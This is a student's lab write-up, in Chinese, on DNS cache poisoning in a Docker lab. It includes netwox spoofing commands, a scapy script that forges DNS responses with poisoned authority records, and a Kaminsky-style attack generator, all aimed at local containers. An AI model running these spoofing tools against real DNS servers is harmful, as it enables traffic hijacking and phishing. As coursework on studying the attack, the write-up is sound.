【HUST】网安｜计算机网络安全实验｜实验二 DNS协议漏洞利用实验

写在最前：
这是我个人的实验记录，实现方式有很多种，多台虚拟机更容易做netwox。
认真整理和记录了一下容易出问题的地方。
代码仓库开了。

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涉及代码的仓库地址
计算机网络安全实验二
- DNS协议漏洞利用实验

涉及代码的仓库地址

HUST计算机网络安全实验_Gitee
Github

计算机网络安全实验二

DNS协议漏洞利用实验

docker使用

建立实验环境

普通用户： seed 密码:dees
超级用户：root 密码：seedubuntu

Network(bridge)：10.10.10.0/24：

sudo docker network create --subnet=10.10.10.0/24 dnsnetwork

创建dns(注意创建docker的时候不要写privileged)：

sudo docker run -it --name=dns --hostname=dns --net dnsnetwork --ip=10.10.10.2 "seedubuntu" /bin/bash

创建user：

sudo docker run -it --name=user --hostname=user --net dnsnetwork --ip=10.10.10.3 "seedubuntu" /bin/bash

创建dns：

sudo docker run -it --name=dns --hostname=dns --net dnsnetwork --ip=10.10.10.2 "seedubuntu" /bin/bash

我的ip：

Attacker：10.10.10.1

dns：10.10.10.2

user：10.10.10.3

网卡：br-29c63b220f5a

docker常用指令

打开或停止HostM：

sudo docker start/stop HostM

把HostM映射到bash中：

sudo docker exec -it HostM /bin/bash

查看当前docker有哪些：

sudo docker ps -a

关闭防火墙：

sudo iptables -F

主机和容器之间拷贝数据：

sudo docker cp 容器名称:路径 主机路径

sudo docker cp 主机路径 容器名称:路径

一些注意事项

每次重启之后，/etc/resolv.conf会被改成原来的内容。
修改BIND9的配置后，可以运行sudo rndc flush测试一下。当遇到rndc: connect failed: 127.0.0.1#953: connection refused报错时，先试着重启BIND9服务，再找找bind9的配置项是否出错，改回默认配置，把错误纠正。如果不是配置问题，就运行sudo named -d 3 -f -g检查错误信息。注意，named指令会导致DNS缓存一直无条目，不要在做后面的实验时用。
配置项相关文件的权限最好都设置成可读可写，还有/etc/bind/rndc.key。
DNS服务器中出现不想要的缓存的时候，可以用rndc flushname xxx.com清除。免得等半天。
DNS远程攻击的时候，如果修改了攻击机上的配置，最好是把DNS服务器的缓存清空，然后两个机子的BIND9服务都重启，否则DNS缓存刷新不及时，妨碍后续攻击。具体咋回事多dumpdb看看DNS缓存就行。
服务器返回icmp报文说端口不可达，原因可能是服务器的bind9未启动，服务器运行service bind9 start。
如果碰到下图这种解析成UDP包的，不要慌！只是Wireshark显示异常，仅此而已，你去服务器里边dumpdb一点问题没有！

设置本地 DNS 服务器

配置用户计算机

修改user主机的/etc/resolv.conf文件，将服务器IP添加为文件中的第一个 nameserver 条目，即此服务器将用作主 DNS 服务器，如下图所示：

完成配置用户计算机之后，使用 dig 命令获取任意网址的 IP 地址，可以看到回应来自于10.10.10.2。如下图：

即user的配置成功。

设置本地DNS服务器

编辑/etc/bind/named.conf.options：确认①dump-file "/var/cache/bind/dump.db";；②dnssec-validation auto被注释，dnssec-enable是no(关闭DNSSEC)；③端口号设置好。如下图所示，打开的时候已经配置好了：

重启DNS服务器：

sudo service bind9 restart

然后再运行提权指令减少一些报错：

sudo chmod 777 /var/cache/bind/dump.db # 提高缓存文件的权限

sudo chmod 777 /etc/bind/rndc.key # 提高rndc的权限

服务器常用指令：

sudo rndc dumpdb -cache # 将缓存转储到特定文件

sudo rndc flush # 清除DNS缓存

在用户机上运行ping指令测试：

ping www.baidu.com

在Wireshark上查看ping命令触发的DNS查询。

前期发送了大量的DNS查询报文，递归查询。（对应蓝色部分）
当ping通之后，不需要再进行DNS查询，因此直接从缓存中读取IP地址。（对应的是连续的粉红色部分）

在本地 DNS 服务器中建一个区域

创建区域：在dns中编辑/etc/bind/named.conf.default-zones，添加：

zone "example.com" {

     type master;

     file "/etc/bind/example.com.db";

};

zone "0.168.192.in-addr.arpa" {

     type master;

     file "/etc/bind/192.168.0.db";

};

把文件从主机中移动到docker中：

sudo docker cp 192.168.0.db dns:/etc/bind/ # 正向查找区域文件

sudo docker cp example.com.db dns:/etc/bind/ # 反向查找区域文件

重新启动BIND服务器：
```
sudo service bind9 restart
```
用户机运行dig www.example.com进行测试授权域配置：

观察IP地址，与设置的一样。
用户机运行dig www.baidu.com进行测试非授权域配置：

对于非授权域域名，也能够成功获得相应信息。

实验环境配置完成。

修改主机文件（可略）

修改/etc/hosts文件，添加：

1.2.3.4 www.bank32.com

用dig命令测试结果，发现修改主机文件确实不影响对www.bank32.com文件解析，如下图所示：

用ping命令测试修改结果，确实影响了，如下图所示：

用Web浏览器测试结果，这个需要到seed@VM中检验。因此把seed@VM的/etc/hosts也修改一下，测试结果如下。

如上图所示，解析的DesIP被修改成1.2.3.4。

netwox可参考：DNS攻击 - Wsine - 博客园 (cnblogs.com)，基本上就是实验内容。

netwox实施DNS的用户响应欺骗攻击

攻击指令：

sudo netwox 105 -h "news.youtube.com" -H "101.102.103.104" -a "ns.youtube.com" -A "55.66.77.88" --filter "src host 10.10.10.3" --device "br-29c63b220f5a"

攻击的是user，注意一定要加上–device 网卡，否则filter参数会失效。

运行攻击指令，并在用户机上dig news.youtube.com触发。

在攻击机上可以看到伪造的响应：

在user上查看回应，与伪造的一致：

观察到得到错误的DNS返回，并且显示为指定的IP地址，也返回了查询网址的权威域名及其IP地址。结果符合预期，攻击成功。

令攻击机停止攻击，再次dig news.youtube.com，在user上显示：

此时返回的结果与真实结果一致。
说明攻击的确实是DNS的用户响应，不影响DNS服务器的正常请求。

netwox实施DNS的缓存中毒攻击

在攻击机上运行：

sudo netwox 105 -h "news.youtube.com" -H "101.102.103.104" -a "ns.youtube.com" -A "55.66.77.88" --filter "src host 10.10.10.2" --device "br-29c63b220f5a" --spoofip "raw" --ttl 600

意思是设置DNS响应包域名news.youtube.com对应IP地址为101.102.103.104，权威名称服务器ns.youtube.com对应的IP地址为55.66.77.88。

攻击的是DNS服务器的缓存，ttl生存时间代表缓存留存在DNS服务器上的时间600（秒）。spoofip参数选择raw，否则netwox将对被欺骗的IP地址也进行MAC地址欺骗，因为ARP查询响应的等待时间问题，实验有可能失败。

实际上，就算加了参数，在docker上做实验，但是在三台虚拟主机上做实验就必成功（亲测），还是有很大的可能失败。

以下是难得成功的一次截图。

首先清空DNS缓存：
```
sudo rndc flush
```
为了提高攻击的成功率，添加对外访问的时延如下（其实就是DNS服务器对外访问慢一点，保证它优先收到攻击机的回应）：
```
sudo tc qdisc add dev br-29c63b220f5a root netem delay 1s
```
运行攻击命令，用dig news.youtube.com触发：

观察到，攻击机成功嗅探到DNS服务器向上发出的DNS请求包，并伪造上层DNS服务器向其发送回复报文。

在user上dig指令的结果：

观察到IP地址、权威域名服务器地址被修改成期望的地址。

同时用Wireshark抓包，得到如下结果：

观察到，攻击机比真实DNS服务器提前一步发送DNS响应，从而导致DNS缓存中毒。

转储并查看DNS服务器缓存，如下：
```
sudo rndc dumpdb -cache

sudo cat /var/cache/bind/dump.db | grep -E "google|youtube|example|attack"
```
停止攻击后，再次用dig进行域名查询，观察到返回的结果与上述结果一致：

可以通过时间、TTL来判断，确实是攻击前后发的两次不同的查询。

DNS缓存中毒成功。

scapy实施DNS缓存中毒攻击

针对授权域Authority Section和附加域Additional Section的攻击脚本：

该脚本既将授权域改成了attacker32.com，也将附加域修改了。

from scapy.all import *

def spoof_dns(pkt):

  #pkt.show()

  if(DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):

    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section

    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.5')

    # The Authority Section

    NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com')

    NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='attacker32.com')

    # The Additional Section

    Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='1.2.3.4')

    Addsec2 = DNSRR(rrname='attacker32.cn', type='A', ttl=259200, rdata='5.6.7.8')

    # Construct the DNS packet

    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=2, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)

    # Construct the entire IP packet and send it out

    spoofpkt = IPpkt/UDPpkt/DNSpkt

    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().

pkt = sniff(filter='udp and dst port 53 and src host 10.10.10.2', prn=spoof_dns)

运行攻击脚本，在user上使用dig www.example.net命令激发DNS查询，攻击脚本运行如下图：
user上返回结果如下图：

与攻击脚本一致，授权域和附加域都被修改了。
同时查看Wireshark的抓包结果，观察到发送的伪造报文：
转储并查看DNS服务器缓存，结果如下：

观察到，没有attacker32.cn的缓存记录，这是因为attacker32.cn没有出现在授权域中。
停止攻击后，再次用dig进行域名查询，观察到返回的结果与上述结果一致：

可以通过时间、TTL来判断，确实是攻击前后发的两次不同的查询。

DNS缓存中毒成功。
此时使用dig mail.example.net命令进行查询，根据Wireshark抓包结果得知，当再次进行相同域的DNS查询时，会首先对在缓存中的NS条目指定的域名服务器进行查询，如下图：

因此，对附加域的攻击也是成功的。

这是我参考过的博客(实验指导书其实已经写得很详细了)：
主要参考：DNS 缓存中毒–Kaminsky 攻击复现。

远程 DNS 缓存中毒攻击-Kaminsky

实验环境配置

在dns中编辑/etc/bind/named.conf.default-zones，注释掉之前配置的example.com区域。并添加假域名去展示实验效果：
```
zone "ns.ssd.net" {

     type master;

     file "/etc/bind/ssd.net.db";

};
```

在dns中添加文件/etc/bind/ssd.net.db，并将以下内容放入其中：

$TTL 604800

@ IN SOA localhost. root.localhost. (

	2 ; Serial

	604800 ; Refresh

	86400 ; Retry

	2419200 ; Expire

	604800 ) ; Negative Cache TTL

@ IN NS ns.ssd.net.

@ IN A 10.10.10.1

ns IN A 10.10.10.1

* IN A 10.10.10.1

其中ns.ssd.net修改成自己的假域名，10.10.10.1修改成攻击机的IP。

在用户机上运行ping ns.ssd.net测试是否配置成功：

如图，已经配置成功了。

在攻击机中配置DNS服务器，去回答example.com的查询。在攻击机中编辑/etc/bind/named.conf添加以下内容：
```
zone "example.com" {

        type master;

        file "/etc/bind/example.com.zone";

};
```
然后创建文件/etc/bind/example.com.zone，添加以下内容：
```
$TTL 3D

@ IN SOA ns.example.com. admin.example.com (

	2008111001

	8H

	2H

	4W

	1D )

@ IN NS ns.ssd.net.

@ IN A 1.1.1.1

www IN A 1.1.1.2

ns IN A 10.10.10.168

* IN A 10.10.10.17
```
注意：在配置完攻击机和服务机之后，可以运行sudo rndc flush测试一下。当遇到rndc: connect failed: 127.0.0.1#953: connection refused报错时，说明bind9的配置项出错，此时可以找找改了哪里，把错误纠正。

等到攻击成功后，www.example.com对应的是1.1.1.2。
将之前实验添加的网络时延规则删除：
```
sudo tc qdisc del dev br-29c63b220f5a root
```
其他配置不变。刷新缓存，重启dns和攻击机上的DNS服务器：
```
sudo rndc flush

sudo service bind9 restart
```
在user上多次运行dig www.example.com，直到得到结果：

如果能得到结果，说明环境配置成功。

观察返回的信息，可以知道www.example.com的远程请求过程：①user向dns发起询问，DNS服务器依次查询；②先查到根域名服务器的地址；③再通过根域名服务器得到.com顶级域名服务器的地址；④再通过.com顶级域名服务器查询得到example.com权威域名服务器的地址；⑤通过询问example.com权威域名服务器，得到www.example.com的IP地址为93.184.216.34。

攻击原理

当dns中已经有example.com的缓存信息时，它不再从根域名服务器查起，而是直接询问example.com。攻击机可以想Apollo发送伪造的响应，比真正的example.com先一步到达dns即可。

但是由于dns缓存有较长时间，攻击机想要等待服务器主动发起对指定域名的DNS请求需要时间。Dan Kaminsky提出了一种攻击方法去避免这个问题，该方法的步骤是：

①攻击者查询example.com随机的不存在的名称；
②dns服务器缓存中没有这一域名，因此向example.com发起请求；
③攻击机针对请求发送DNS欺骗流，不仅为该域名提供Answer，还将ns.姓名.net作为example.com域的权威域名服务器，从而破坏缓存。

攻击过程

为了提高攻击成功率，再次添加时延（建议少加点）：

sudo tc qdisc add dev br-29c63b220f5a root netem delay 100ms

注：如果wireshark看到dns服务响应很慢，别加了。如果外网响应太快死活攻击不成功，多加点。

两个攻击脚本：

伪造请求包和响应包的python程序general_dns.py：

from scapy.all import *

import string

import random

# random name

name = ''.join(random.sample(string.ascii_letters, 5))+'.example.com'

print(name)

Qdsec = DNSQR(qname=name)

# query

ip_q  = IP(dst='10.10.10.2',src='10.10.10.1') # dst: dns; src:attacker

udp_q = UDP(dport=53,sport=33333,chksum=0)

dns_q = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=Qdsec)

pkt_q= ip_q/udp_q/dns_q

# reply

ip_r = IP(dst='10.10.10.2', src='199.43.135.53', chksum=0)

udp_r = UDP(dport=33333, sport=53, chksum=0)

Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)

 # The Authority Section

NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.ssd.net')

Addsec = DNSRR(rrname='ns.ssd.net', type='A', ttl=259200, rdata='10.10.10.1')

dns_r = DNS(id=0xAAAA, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, arcount=1, qd=Qdsec, an=Anssec, ns=NSsec, ar=Addsec)

pkt_r = ip_r/udp_r/dns_r

with open('query.bin','wb')as f:

  f.write(bytes(pkt_q))

with open('reply.bin', 'wb') as f:

  f.write(bytes(pkt_r))

其中响应包的id要随机生成，发送从0~ffff号的所有报文来进行DNS欺骗。

用bless查看构造的reply.bin的二进制，找到id的偏移地址：

偏移量为0x1c，十进制为28。

攻击程序dns_attack.c的编写逻辑：

每轮循环开始，先运行一次伪造请求包和响应包的python程序；
打开query.bin和reply.bin，写入缓存区。
发送DNS请求包；
修改reply.bin的dns序列号，从1000~65535(观察了一下，发包速度相当快，可以支持多发一些包)，转换成大端字节序再写入(也可以不转)。并重新计算dns的chksum。
依次发送这些DNS响应包。再回到1重新循环。

发包的C程序dns_attack.c：

程序在Gitee里，放这里显示会出错。

编译程序的方式：

gcc -lpcap dns_attack.c -o dns_attack

编译并运行发包攻击程序，过一会儿在dns上转储cache，运行：
```
sudo rndc dumpdb -cache

sudo cat /var/cache/bind/dump.db | grep -E "google|youtube|example|attack|ssd"
```
可以看到example.com现在对应的是ns.ssd.net，其他的被注释掉了，IP也解析成攻击目标了，相当成功。

再观察一下Wireshark的报文：

能看到伪造的随机请求包，也可以看到服务器收到伪造的请求包，开始主动向权威域名服务器请求，还可以看到伪造的序号顺序的响应。

如果，①伪造的请求包、②服务器向权威域名服务器的请求包，以及③伪造的回应包、④真实权威域名服务器的回应包，有任一无法找到，则说明攻击结果异常，请具体情况具体分析，不要一味攻击。
正常情况，在序列号从10000到65535的欺骗中，有约85%的几率一次攻击成功。
最多攻击5次，即可停下。如果Ctrl+C无法中止程序，请用ps -a查看进程号，再kill 进程号，终止程序。
注：在发起攻击之前，清空DNS缓存、使用用户机dig www.example.com拿到IP(使服务器中具备权威域名服务器的缓存)，将会节省DNS服务器向根域名服务器询问权威域名服务器的时间，从而减少攻击的时长。【如果不提前dig就直接攻击，攻击过程中持续看cache，刷出来example了就停下，有85%的几率可以得到一个完全没有真实权威域名服务器cache记录的结果，我愿称之为完美】

只要序号符合0xe0fa，并且比真实服务器早，就可以攻击成功。

过滤10.10.10.1的报文，除了这些报文以及服务器的主动请求之外，其他的报文就是攻击机伪造的请求。可以看到攻击成功的可能性很大。

注意：已经攻击完成后，一定要及时中止dns_attack程序。我在已经集齐所有完美的实验现象之后，忘记中止攻击程序，然后发送了过多的攻击报文，我自己的sock崩溃了。随后虚拟机内存不够，自动关机重启，还好我有快照，否则我也会崩溃了。
此时在用户机上运行dig www.example.com、dig abcd.example.com去测试：

可以看到，域名成功地被解析成预期值1.1.1.2了！

然后随便攻击一个example.com域的域名，也可以成功解析成预期值：

因此攻击成功。

不点个赞再走嘛！？